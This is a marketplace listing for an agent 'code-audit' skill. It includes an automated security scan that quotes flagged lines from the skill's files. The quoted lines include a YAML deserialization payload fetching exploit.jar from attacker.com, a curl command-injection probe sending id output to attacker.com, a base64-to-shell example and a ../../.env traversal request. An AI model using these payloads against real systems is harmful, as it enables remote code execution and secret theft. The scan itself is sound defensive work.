Skip to content
TrustedSkillsbeta
Back to all skills

Code Audit

Listed
3stonebrother·vlatest·security

Identifies potential bugs, security vulnerabilities, and style inconsistencies in code using advanced analysis techniques.

Repository

Install on your platform

Showing Claude Code. One command installs this skill into any of the agents below.

  1. 1

    Run this in your project

    terminal
    $ npx skills add 3stonebrother/code-audit --skill code-audit -a claude-code

  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

3stonebrother

Taken from the source listing. We haven't verified who controls this account.

Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 4 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No undeclared network calls: failed

    Contacts 18 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: 10.0.0.1, 100.100.100.200, 127.0.0.1.nip.io, 169.254.169.254, 172.16.0.1….

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

    Hosts contacted

    target.comundeclaredattacker.comundeclared127.0.0.1.nip.ioundeclaredevil.comundeclared169.254.169.254undeclaredmetadata.google.internallocal100.100.100.200undeclaredapache.orgundeclaredxml.orgundeclaredgo.devundeclareddot.netundeclaredsh.rustup.rsundeclaredgithub.comsource hostgetcomposer.orgundeclaredoast.funundeclared127.0.0.1local192.168.1.1undeclared10.0.0.1undeclared172.16.0.1undeclaredattacker.dnslog.cnundeclaredcwe.mitre.orgundeclared

    What it found (3 of 43)

    • references/core/attack_path_priority.md:289contacts target.com
      curl -X POST http://target.com/api/parse \
    • references/core/attack_path_priority.md:290contacts attacker.com
      -d 'yaml=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker.com/exploit.jar"]]]]'
    • references/core/poc_generation.md:215contacts attacker.com
      "http_linux": "; curl http://attacker.com/$(id|base64)",

  • No obfuscated payloads: failed

    Contains 2 obfuscated or encoded payload patterns.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

    What it found

    • references/core/bypass_strategies.md:211base64 payload piped into a shell or interpreter
      └─ Base64: echo Y2F0IGZpbGU= | base64 -d | sh
    • references/core/bypass_strategies.md:211encoded string decoded and executed
      └─ Base64: echo Y2F0IGZpbGU= | base64 -d | sh

  • No credential access: failed

    Touches credential material in 1 place.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

    What it found

    • references/frameworks/laravel.md:254environment file outside the project
      GET /download?file=../../.env

  • No pipe-to-shell installers: failed

    Runs code fetched at install time in 2 places.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

    What it found

    • references/core/docker_verification.md:332remote script piped into a shell
      RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --default-toolchain stable --no-modify-path
    • references/core/docker_verification.md:442remote script piped into an interpreter
      RUN curl -sS https://getcomposer.org/installer | php && \

  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • Pinned to a commit: passed

    Scanned 3stonebrother/code-audit at 6f88ae38ff.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit
6f88ae38ff
Manifest
SKILL.md
Scanned
60 files, 26,778 lines
This is a static scan, not a review. It reads the skill's files; it does not run them, and it cannot tell you whether the skill is any good or whether the code does what its description says. A skill runs with whatever access you give your agent.
What each check looks for →

About this skill

What it does

The code-audit skill analyzes provided code snippets and identifies potential issues. It can detect common programming errors, security vulnerabilities, and stylistic inconsistencies. The tool aims to improve code quality by providing actionable feedback for developers.

When to use it

  • Debugging Assistance: When you're stuck on a bug and need a fresh perspective on your code.
  • Security Review: Before deploying code to production, identify potential security flaws.
  • Code Style Enforcement: Ensure adherence to coding standards within a team or project.
  • Learning & Improvement: New developers can use it to learn best practices and improve their coding skills.

Key capabilities

  • Error detection
  • Security vulnerability identification
  • Style guide enforcement
  • Actionable feedback

Example prompts

  • "Please audit this Python code for potential errors: [code snippet]"
  • "Can you review this JavaScript function for security vulnerabilities? [code snippet]"
  • "Analyze the following C++ code and suggest improvements to its style. [code snippet]"

Tips & gotchas

The quality of the audit depends heavily on the clarity and completeness of the provided code. For best results, provide self-contained code snippets with minimal dependencies.